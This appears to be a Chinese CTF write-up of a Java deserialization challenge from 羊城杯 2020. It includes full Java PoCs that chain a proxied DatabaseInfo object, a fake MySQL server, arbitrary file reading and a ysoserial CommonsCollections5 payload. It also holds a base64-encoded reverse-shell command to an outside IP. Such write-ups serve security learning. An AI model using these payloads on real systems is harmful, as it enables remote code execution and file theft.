[羊城杯 2020]A Piece Of Java

[羊城杯 2020]A Piece Of Java

解题步骤

下载源码,直接开审。

 @GetMapping({"/hello"})
    public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
        if (cookieData != null && !cookieData.equals("")) {
            Info info = (Info)this.deserialize(cookieData);
            if (info != null) {
                model.addAttribute("info", info.getAllInfo());
            }

            return "hello";
        } else {
            return "redirect:/index";
        }
    }

    private Object deserialize(String base64data) {
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));

        try {
            ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
            Object obj = ois.readObject();
            ois.close();
            return obj;
        } catch (Exception var5) {
            var5.printStackTrace();
            return null;
        }
    }

发现/hello有反序列化。返回info类,且执行getAllInfo。

private void connect() {
        String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";

        try {
            this.connection = DriverManager.getConnection(url);
        } catch (Exception var3) {
            var3.printStackTrace();
        }

    }

    public Boolean checkAllInfo() {
        if (this.host != null && this.port != null && this.username != null && this.password != null) {
            if (this.connection == null) {
                this.connect();
            }

            return true;
        } else {
            return false;
        }
    }

在DatabaseInfo里面,看到了jdbc,想办法利用,在checkAllInfo里面用到了connect。

public Object invoke(Object proxy, Method method, Object[] args) {
        try {
            return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
        } catch (Exception var5) {
            var5.printStackTrace();
            return null;
        }
    }

然后在InfoInvocationHandler里面有调用getAllInfo。这里需要了解java的动态代理:https://www.jianshu.com/p/e575bba365f8
然后直接反序列化调用connect触发jdbc连接。利用方法:将DatabaseInfo封装到Proxy类里面,反序列化的时候触发invoke,从而进行jdbc连接,尝试一波任意文件读取。

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class test {
    public static void main(String[] args) throws Exception{
        DatabaseInfo obj = new DatabaseInfo();
        obj.setHost("47.96.173.116");
        obj.setPort("3306");
        obj.setUsername("root");
        obj.setPassword("root&allowLoadLocalInfile=true");
        ClassLoader classLoader = obj.getClass().getClassLoader();
        Class[] interfaces = obj.getClass().getInterfaces();
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(obj);
        Info proxy = (Info) Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(proxy);
        byte[] bytes = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        System.out.println(encoder.encodeToString(bytes));
    }
}

需要加上配置allowLoadLocalInfile=true才能读取文件。然后vps上起mysql-fake-server:https://github.com/fnmsd/MySQL_Fake_Server
然后发现没有/flag读取,需要弹个shell。


BOOT-INF/classpath.idx里面看到cc依赖,直接用ysoserial进行rce。可以用cc5链 poc:

package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class poc {
    public static void main(String[] args) throws Exception {
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("47.96.173.116");
        databaseInfo.setPort("3306");
        databaseInfo.setUsername("yso_CommonsCollections5_bash -c {echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}");
        databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
        Class[] interfaces = databaseInfo.getClass().getInterfaces();
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
        Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(proxy);
        objectOutputStream.flush();
        objectOutputStream.close();
        System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));

    }
}

poc需要在gdufs/challenge/web/poc.java下运行,然后在vps上配置好ysoserial。


除此之外,在http://www.jackson-t.ca/runtime-exec-payloads.html生成的反弹shell命令里面的base64需要url编码一下,防止+变成空格。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇